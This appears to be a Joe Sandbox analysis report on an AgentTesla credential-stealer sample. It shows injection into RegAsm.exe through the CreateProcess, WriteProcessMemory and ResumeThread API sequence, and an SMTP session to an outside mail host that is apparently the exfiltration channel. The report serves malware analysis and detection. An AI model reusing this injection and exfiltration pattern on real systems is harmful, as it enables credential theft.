CEW8pM+jVKCGrOIRzDv+jjdS2FAtAmQ8hzBOUXex0H1h40FdOgYuA5OaqGkxhlQHj2IjtmLPAUXXQE9xHa/S+XjavS/MKbIpYSyiOqQzkRCubKOwx97/KTrja0rfSJTgeTndby0dgTMNKqikEz5rw46ld/fEsArOjmSEDFar2im3VkDAaW0AhE8wr7SGMoDPoxhWDfytoWBA7Z40zMSKA4LjTJH2vPiPhjHg37ZJRJE2j1V0kMRU4/TyuM1NlEr
2024-09-26 07:18:53 UTC	1369	IN	Data Raw: 34 4a 36 57 72 63 74 69 67 62 38 59 67 65 48 53 32 6b 72 69 75 71 6f 41 72 46 43 74 41 2f 5a 4b 4e 46 76 73 78 67 68 54 68 58 6a 45 32 47 57 78 6b 4b 45 49 33 63 72 52 38 44 6b 52 33 67 6f 78 46 4a 4f 42 71 6b 71 74 74 64 58 5a 62 2f 56 6d 64 70 6a 50 6d 56 6c 65 2b 72 4b 5a 45 61 35 47 4b 70 4d 49 36 4c 38 6e 46 77 34 75 4d 55 4b 6b 4e 70 6e 4e 66 6e 53 73 75 32 70 2f 69 67 39 57 64 32 32 39 69 6b 33 2b 63 46 77 36 45 4f 70 51 58 75 57 41 66 6e 48 4e 2f 4a 72 57 66 50 31 55 6f 53 74 75 44 59 53 54 4e 7a 2b 69 70 43 51 4d 4e 38 43 77 4e 59 57 6d 70 62 7a 4f 71 64 58 69 4a 38 74 2f 78 30 49 6b 42 78 5a 47 72 48 4c 37 51 65 33 33 4e 4b 58 78 65 79 55 31 44 34 62 50 32 47 46 59 31 6e 4e 6a 36 6a 6a 79 46 63 39 46 55 42 46 77 62 6e 2b 32 43 46 62 32 44 45 68 Data Ascii: 4J6Wrctigb8YgeHS2kriuqoArFCtA/ZKNFvsxghThXjE2GWxkKEI3crR8DkR3goxFJOBqkqttdXZb/VmdpjPmVle+rKZEa5GKpMI6L8nFw4uMUKkNpnNfnSsu2p/ig9Wd229ik3+cFw6EOpQXuWAfnHN/JrWfP1UoStuDYSTNz+ipCQMN8CwNYWmpbzOqdXiJ8t/x0IkBxZGrHL7Qe33NKXxeyU1D4bP2GFY1nNj6jjyFc9FUBFwbn+2CFb2DEh
2024-09-26 07:18:53 UTC	1369	IN	Data Raw: 79 2b 42 50 54 4f 38 4d 36 43 39 59 53 64 5a 47 45 78 6c 69 6b 57 53 41 54 46 67 32 71 70 35 64 6c 36 37 59 2f 5a 61 77 4f 32 73 7a 6a 32 54 4b 74 57 36 73 4d 49 53 36 78 51 59 39 44 57 62 4a 79 73 2b 71 37 57 70 4a 78 4f 50 70 31 50 43 42 59 6a 76 45 6e 50 73 77 5a 74 31 44 53 66 30 65 74 34 38 59 4c 4b 61 52 59 50 44 67 34 56 55 43 54 32 4f 77 38 6d 75 69 6e 7a 37 49 67 7a 4f 38 49 62 58 67 32 37 31 48 62 59 2f 71 72 57 65 70 6d 36 46 44 4e 77 4c 4c 54 41 30 4e 62 65 69 42 56 73 68 53 46 51 2b 67 6c 77 33 55 37 68 6d 4f 74 34 69 5a 2f 4a 5a 62 5a 6e 5a 6f 2b 4a 72 72 54 79 39 43 42 5a 37 6e 74 73 2b 57 74 6e 4a 71 72 61 6c 31 76 2b 77 53 31 50 5a 68 51 31 51 32 36 53 78 77 64 75 59 4f 6a 7a 4a 33 6c 4d 77 4f 73 78 68 6b 30 45 73 63 4a 49 79 4a 52 37 6a Data Ascii: y+BPTO8M6C9YSdZGExlikWSATFg2qp5dl67Y/ZawO2szj2TKtW6sMIS6xQY9DWbJys+q7WpJxOPp1PCBYjvEnPswZt1DSf0et48YLKaRYPDg4VUCT2Ow8muinz7IgzO8IbXg271HbY/qrWepm6FDNwLLTA0NbeiBVshSFQ+glw3U7hmOt4iZ/JZbZnZo+JrrTy9CBZ7nts+WtnJqral1v+wS1PZhQ1Q26SxwduYOjzJ3lMwOsxhk0EscJIyJR7j
2024-09-26 07:18:53 UTC	1369	IN	Data Raw: 51 6a 32 43 75 35 4e 53 73 53 56 44 4f 79 6f 42 78 6b 76 33 59 66 4d 34 67 44 68 79 4f 72 31 5a 75 53 61 71 54 33 38 77 58 70 35 48 39 71 54 33 54 78 6d 35 32 2f 70 47 7a 32 57 51 69 37 2b 68 50 77 4d 4d 42 4f 45 59 35 4c 41 4b 45 47 68 76 51 66 6d 6d 45 64 79 73 7a 2f 34 61 48 6b 69 48 7a 54 69 43 69 4b 55 53 45 2f 4b 7a 2b 71 70 32 4e 52 37 73 77 49 45 4f 52 49 4c 43 49 4e 43 39 79 49 70 36 47 5a 6a 7a 42 42 73 46 6b 77 78 4c 56 72 36 6b 48 64 70 34 70 57 63 4e 39 37 77 75 48 4d 4a 39 6b 68 6f 43 59 6d 54 51 67 2b 50 4a 55 71 44 35 36 47 36 57 4f 32 69 42 49 41 65 52 58 65 6f 63 50 66 43 4a 6d 38 76 4d 65 65 48 69 56 66 75 38 48 39 75 42 33 4d 6e 57 7a 7a 55 55 73 65 67 45 63 77 69 4f 4b 71 55 45 62 42 73 58 78 57 75 53 7a 4e 77 49 61 77 4c 43 32 57 44 Data Ascii: Qj2Cu5NSsSVDOyoBxkv3YfM4gDhyOr1ZuSaqT38wXp5H9qT3Txm52/pGz2WQi7+hPwMMBOEY5LAKEGhvQfmmEdysz/4aHkiHzTiCiKUSE/Kz+qp2NR7swIEORILCINC9yIp6GZjzBBsFkwxLVr6kHdp4pWcN97wuHMJ9khoCYmTQg+PJUqD56G6WO2iBIAeRXeocPfCJm8vMeeHiVfu8H9uB3MnWzzUUsegEcwiOKqUEbBsXxWuSzNwIawLC2WD
2024-09-26 07:18:53 UTC	1369	IN	Data Raw: 6f 42 52 59 2b 6e 4a 70 49 72 51 7a 4f 37 49 41 39 5a 34 79 49 5a 70 47 4e 6f 49 4e 50 36 65 6d 4a 4b 4c 67 74 42 50 59 34 4d 53 46 4b 30 45 69 39 32 5a 59 48 67 4b 76 66 2b 65 77 2f 6d 77 41 55 51 2b 31 79 58 49 53 57 6f 5a 67 6c 43 63 6b 6f 72 74 78 54 73 62 70 42 6c 33 64 4f 68 69 70 68 62 79 33 47 46 6d 79 4a 67 79 4a 54 6f 6f 6b 66 2b 63 6f 46 41 49 57 62 4e 48 5a 55 66 71 4c 31 46 6e 74 6b 76 37 52 4c 78 6b 55 49 50 6d 54 49 57 6c 2f 78 57 30 33 6f 37 62 6f 6e 53 50 71 59 54 36 30 31 5a 2f 54 75 6a 72 4c 33 35 66 73 57 47 38 35 4e 58 72 59 31 59 48 41 33 68 57 65 64 4a 59 43 55 7a 63 67 56 76 67 76 2b 50 59 4b 4d 7a 59 62 41 6f 54 4c 6b 46 6e 32 34 62 59 75 50 46 79 4a 54 6f 77 51 63 51 59 36 45 58 38 35 64 51 75 54 54 33 57 77 72 6f 42 32 74 7a 63 Data Ascii: oBRY+nJpIrQzO7IA9Z4yIZpGNoINP6emJKLgtBPY4MSFK0Ei92ZYHgKvf+ew/mwAUQ+1yXISWoZglCckortxTsbpBl3dOhiphby3GFmyJgyJTookf+coFAIWbNHZUfqL1Fntkv7RLxkUIPmTIWl/xW03o7bonSPqYT601Z/TujrL35fsWG85NXrY1YHA3hWedJYCUzcgVvgv+PYKMzYbAoTLkFn24bYuPFyJTowQcQY6EX85dQuTT3WwroB2tzc

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Sep 26, 2024 09:18:57.440876961 CEST	587	49733	78.110.166.82	192.168.2.4	220-cphost14.qhoster.net ESMTP Exim 4.96.2 #2 Thu, 26 Sep 2024 08:18:57 +0100 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Sep 26, 2024 09:18:57.441437960 CEST	49733	587	192.168.2.4	78.110.166.82	EHLO 562258
Sep 26, 2024 09:18:57.607733011 CEST	587	49733	78.110.166.82	192.168.2.4	250-cphost14.qhoster.net Hello 562258 [8.46.123.33] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Sep 26, 2024 09:18:57.608017921 CEST	49733	587	192.168.2.4	78.110.166.82	STARTTLS
Sep 26, 2024 09:18:58.035113096 CEST	587	49733	78.110.166.82	192.168.2.4	220 TLS go ahead
Sep 26, 2024 09:18:58.036175013 CEST	587	49733	78.110.166.82	192.168.2.4	220 TLS go ahead

Target ID:	0
Start time:	03:18:52
Start date:	26/09/2024
Path:	C:\Users\user\Desktop\450230549.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\450230549.exe"
Imagebase:	0x3d0000
File size:	107'848 bytes
MD5 hash:	5086980F3EE0C035EC304102E6981410
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1726211238.0000000003709000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.1726211238.0000000003709000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	03:18:54
Start date:	26/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x200000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:18:54
Start date:	26/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xe0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:18:54
Start date:	26/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x530000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000002.3558791115.0000000002925000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000002.3558791115.0000000002902000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.3558791115.00000000028D5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000002.3558791115.00000000028D5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.3557540735.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000002.3557540735.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	31.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	19.6%
Total number of Nodes:	102
Total number of Limit Nodes:	4

Executed Functions

Function 00D32B28 Relevance: 1.9, Strings: 1, Instructions: 616
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(, xrefs: 00D3333B

Memory Dump Source

Source File: 00000000.00000002.1724855106.0000000000D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_450230549.jbxd

Similarity

API ID: MemoryProcessWrite
String ID: (
API String ID: 3559483778-3887548279
Opcode ID: 6a63a667dfaf60efe127d508f1231213a1baff22a9537cf4895109cc2fb8f785
Instruction ID: 332c529531de45b6776ae4e4d0cd582688edfa441309926a598de30d99228903
Opcode Fuzzy Hash: 6a63a667dfaf60efe127d508f1231213a1baff22a9537cf4895109cc2fb8f785
Instruction Fuzzy Hash: 5452DF74E002688FDB64DF69C944BDDBBB2BF89300F1481EAD509AB255DB349E85CF50

Function 00D311D8 Relevance: .3, Instructions: 287COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724855106.0000000000D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_450230549.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9fb38cae54ae78166822e87383ae350424588079789166f0f6aaf150d7e5b92
Instruction ID: 25595a1108c0eead0590d86d1e096c962f0739ef4804b315d8bf0f125186572e
Opcode Fuzzy Hash: f9fb38cae54ae78166822e87383ae350424588079789166f0f6aaf150d7e5b92
Instruction Fuzzy Hash: 5CD1C378E0120ACFCB14CFA9D584ADDBBB5FF89314F189269E405AB365D730A986CF50

Function 00D321CF Relevance: 3.3, APIs: 2, Instructions: 326
processinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,00000005,?,?,?,?,?,?), ref: 00D339CD
WriteProcessMemory.KERNEL32(?,00000000,00000000,?,00010002), ref: 00D33E6D

Memory Dump Source

Source File: 00000000.00000002.1724855106.0000000000D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_450230549.jbxd

Similarity

API ID: Process$CreateMemoryWrite
String ID:
API String ID: 575940244-0
Opcode ID: bdc6e95bfeb152da5d95f10f40e21841277416b917cd31902e9570d05adf9781
Instruction ID: 1fdcae0225fddfe67507a6033d527229615315416e1be076fd118aa7b818aaa9
Opcode Fuzzy Hash: bdc6e95bfeb152da5d95f10f40e21841277416b917cd31902e9570d05adf9781
Instruction Fuzzy Hash: B9D18971D00259DFDB10CFA9C941BEEBBF5EF48310F1485AAE848A7290D7749A85CFA1

Function 00D322E1 Relevance: 1.8, APIs: 1, Instructions: 292
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1724855106.0000000000D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_450230549.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 197fc4b0fad993f7c198c31852a9c1f5f80bc86683daddcceb297248ee3dba36
Instruction ID: a5fb1a682742847d859069e5667e8be831113add2a5795896586c273c2226ec3
Opcode Fuzzy Hash: 197fc4b0fad993f7c198c31852a9c1f5f80bc86683daddcceb297248ee3dba36
Instruction Fuzzy Hash: 3041B675C0D3858FC702CBA888512AABFF0AF56320F2544DBD185DB263D234590ACBB5

Function 00D3378D Relevance: 1.7, APIs: 1, Instructions: 245
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,00000005,?,?,?,?,?,?), ref: 00D339CD

Memory Dump Source

Source File: 00000000.00000002.1724855106.0000000000D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_450230549.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: b8fa98d798b084c9f358c39900284a8f7d19c7fc8db64052c4949cc6b54ec2e1
Instruction ID: 1ced5879b5dbb1c82d2ce914220e4869f3dc011d45f841167d8c4b1b4e04450d
Opcode Fuzzy Hash: b8fa98d798b084c9f358c39900284a8f7d19c7fc8db64052c4949cc6b54ec2e1
Instruction Fuzzy Hash: 5BA17D71D00659DFDF10CFA8C9417DDBBF2AF48304F1885AAE849A7290D7749A85CFA2

Function 00D321EC Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,00000005,?,?,?,?,?,?), ref: 00D339CD

Memory Dump Source

Source File: 00000000.00000002.1724855106.0000000000D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_450230549.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: c915f4d22f6e1691f162e2cba404ff181c6676a2caf5e1918c34a4b10a912f57
Instruction ID: 32149a444f14f2794b81416b324f5e17108741815ad0f07718b795e4c795b7fe
Opcode Fuzzy Hash: c915f4d22f6e1691f162e2cba404ff181c6676a2caf5e1918c34a4b10a912f57
Instruction Fuzzy Hash: C0916C71D00659DFDF10CFA9C9417DDBBF2AF48300F1485AAE849A7290DB749A85CFA2

Function 00D33DD8 Relevance: 1.6, APIs: 1, Instructions: 71
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,00000000,00000000,?,00010002), ref: 00D33E6D

Memory Dump Source

Source File: 00000000.00000002.1724855106.0000000000D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_450230549.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 713c91f9e7b0e5b72556d46e9f2a1480738940475e7cae5028be012968fccd26
Instruction ID: 1736a4ce7f98598b46f21f9474c4ebd6a9adb1dbc49d791687c5a04aac3f3345
Opcode Fuzzy Hash: 713c91f9e7b0e5b72556d46e9f2a1480738940475e7cae5028be012968fccd26
Instruction Fuzzy Hash: 9A2115B59002499FCB10CFA9C985BDEBFF4FB48310F14852EE458A7251D374A954CB64

Function 00D32234 Relevance: 1.6, APIs: 1, Instructions: 70
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,00000000,00000000,?,00010002), ref: 00D33E6D

Memory Dump Source

Source File: 00000000.00000002.1724855106.0000000000D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_450230549.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: f697e3078d24b4bb77610686d64528bc6afc19a6142be6fcd533c041d009b6c6
Instruction ID: 14b198bf958c007aec881468900f3d617dfa46b241414bf56423786586e7f77b
Opcode Fuzzy Hash: f697e3078d24b4bb77610686d64528bc6afc19a6142be6fcd533c041d009b6c6
Instruction Fuzzy Hash: C42122B5900249DFCB10CF9AC985BDEBBF4FB48310F10852AE918A7350D378AA40CBA4

Function 00D32210 Relevance: 1.6, APIs: 1, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,00010002), ref: 00D33CD7

Memory Dump Source

Source File: 00000000.00000002.1724855106.0000000000D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_450230549.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 4ee9ab24393ee4a1b9296e83d4c2bdbe9a4a3c158433b845a462681f77344ef6
Instruction ID: dcf2409e25e6eeeabf71fdf719b95e6275e2d84ff51c6f0ea835ccbd7277e861
Opcode Fuzzy Hash: 4ee9ab24393ee4a1b9296e83d4c2bdbe9a4a3c158433b845a462681f77344ef6
Instruction Fuzzy Hash: 2821E2B5900359DFCB10CF9AD984ADEBBF4FB48320F10842AE958A7251D375AA44CBA4

Function 00D321F8 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(02767DE0,00000000), ref: 00D33C07

Memory Dump Source

Source File: 00000000.00000002.1724855106.0000000000D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_450230549.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 9e106a14b3245c9bd983a75ea1624739dc263965e234b97359e5f13a144546b5
Instruction ID: 737d6fd9184241be388fa687e314161096d5deeacd3327c54176a04e1a986b2d
Opcode Fuzzy Hash: 9e106a14b3245c9bd983a75ea1624739dc263965e234b97359e5f13a144546b5
Instruction Fuzzy Hash: EF2113B1D006599FCB10CF9AC545BAEFBF4AB08720F14812AE818B7341D378A944CFA5

Function 00D32240 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(02767DE0,00000000), ref: 00D33C07

Memory Dump Source

Source File: 00000000.00000002.1724855106.0000000000D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_450230549.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: e380d1fc1a8dacf51cf1facd38927509aafbb5e56fcbfddbc022c1e3ebf4c6ac
Instruction ID: f3998ee71d534da677cc84c52d0aec64af013d04fead1a5980f838febebdbf0d
Opcode Fuzzy Hash: e380d1fc1a8dacf51cf1facd38927509aafbb5e56fcbfddbc022c1e3ebf4c6ac
Instruction Fuzzy Hash: A62113B1D006599BCB10CF9AC545BAEFBF4AB08720F14816AE818B7341D378A944CFA5

Function 00D33B89 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(02767DE0,00000000), ref: 00D33C07

Memory Dump Source

Source File: 00000000.00000002.1724855106.0000000000D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_450230549.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 614de85ea3f2e6b723799ecb35596a24d3da45926346adaab412c8ec5344ac27
Instruction ID: 8a61502d465ccc147dc48388afea71e89e2c4dfa5b8996d5bbc58b927fa428ba
Opcode Fuzzy Hash: 614de85ea3f2e6b723799ecb35596a24d3da45926346adaab412c8ec5344ac27
Instruction Fuzzy Hash: 042115B5D006599FCB10CFAAC545BEEFBF4AB48720F14812AD418B7351D378AA44CFA1

Function 00D33C51 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,00010002), ref: 00D33CD7

Memory Dump Source

Source File: 00000000.00000002.1724855106.0000000000D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_450230549.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 6739c8f24d766387be4b4d8a78cbada1127a118d05220f511afa39cecc7dd8fb
Instruction ID: fdaedf104ed49552fc447baeae3cd92d67e49cc169314a4388fcc84b2a4d2438
Opcode Fuzzy Hash: 6739c8f24d766387be4b4d8a78cbada1127a118d05220f511afa39cecc7dd8fb
Instruction Fuzzy Hash: 1421F5B5900259DFCB10CF9AD984ADEBBF5FF48310F14842AE958A7250D3759944CFA4

Function 00D32228 Relevance: 1.6, APIs: 1, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,00010002), ref: 00D33D93

Memory Dump Source

Source File: 00000000.00000002.1724855106.0000000000D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_450230549.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: ccaa4a949740ad090d4d51eae6208c8335f60445df3d4eb542174be79a2a4e6b
Instruction ID: 9fbea4402a674a94562183a3fadb03c55bc31ed385cf6547331922a1a36d5e6b
Opcode Fuzzy Hash: ccaa4a949740ad090d4d51eae6208c8335f60445df3d4eb542174be79a2a4e6b
Instruction Fuzzy Hash: 701104B5900248DFCB20DF9AD944BDEBFF9EB48320F248429E559A7260C775A940CFA4

Function 00D33D20 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,00010002), ref: 00D33D93

Memory Dump Source

Source File: 00000000.00000002.1724855106.0000000000D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_450230549.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8b2e47cfc6856b0f5e7601751b0b557a54a9fdfe605d204095df0acd2b6d0eb5
Instruction ID: 9fa705bc3f92a851c8babab0be29350ae9cb520009fc8f06e4b68cbfae6ec832
Opcode Fuzzy Hash: 8b2e47cfc6856b0f5e7601751b0b557a54a9fdfe605d204095df0acd2b6d0eb5
Instruction Fuzzy Hash: 181126B99002489FCB10CF99D944BDEBFF4AB48310F24841AE559A7220C375A944CFA0

Function 00D32258 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32(02767DE0), ref: 00D33F1F

Memory Dump Source

Source File: 00000000.00000002.1724855106.0000000000D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_450230549.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 89c5b7807b54ee69d49030363dd4162c3c59c477f092959842d54f1df7b6d9a4
Instruction ID: e6beef153395bb26ffd44c47f34d255bc9ad14fffdf98f6657ed1b3014fde433
Opcode Fuzzy Hash: 89c5b7807b54ee69d49030363dd4162c3c59c477f092959842d54f1df7b6d9a4
Instruction Fuzzy Hash: 681122B5900248CFCB20DF9AC548B9EFBF8EB48320F20846AE558A7310C775A940CFA4

Function 00D33EB9 Relevance: 1.5, APIs: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32(02767DE0), ref: 00D33F1F

Memory Dump Source

Source File: 00000000.00000002.1724855106.0000000000D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_450230549.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 90af2ffb58891a13c84ffab94f4fde20199d988606c09afc1f96ebf9b9f4d266
Instruction ID: 556e55488237f0f307e74bb29b385bfd93416eded1bc70e4e36d9a3da57bade1
Opcode Fuzzy Hash: 90af2ffb58891a13c84ffab94f4fde20199d988606c09afc1f96ebf9b9f4d266
Instruction Fuzzy Hash: 411110B5800249CFCB20DFAAC544BDEFBF4AF48320F24846AD458A7260C774A944CFA5

Function 00CDD76D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724661446.0000000000CDD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CDD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cdd000_450230549.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e531b32ad8a86cb3ae283ef177a7961460cd1c2a9e3043f30757fe5672b3a89f
Instruction ID: 6eb0d44d13bd19292ef3a6ec9d8e09804091d771e21268e6c5704bfce0288236
Opcode Fuzzy Hash: e531b32ad8a86cb3ae283ef177a7961460cd1c2a9e3043f30757fe5672b3a89f
Instruction Fuzzy Hash: 6801A7314083449AE7108A1ADD84B67FFD8EF41324F19C4ABEE1A4A38AC3799D80C671

Function 00CDD76C Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724661446.0000000000CDD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CDD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cdd000_450230549.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b204a8af0bdf339f7a2f3c112c7fc7fdee0154340c3962a571760ea52a43a70
Instruction ID: b86f2d2a4966c4a9274d1e1414cb47fcc9bc118b2b5a2d9fc3ef8b2e2db811e6
Opcode Fuzzy Hash: 3b204a8af0bdf339f7a2f3c112c7fc7fdee0154340c3962a571760ea52a43a70
Instruction Fuzzy Hash: FAF062714083449EE7108E1ADC84B62FFE8EB51724F18C45BED594A28AC2799C44CA71

Non-executed Functions

Function 00D32B19 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724855106.0000000000D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D30000, based on PE: false

Joe Sandbox IDA Plugin

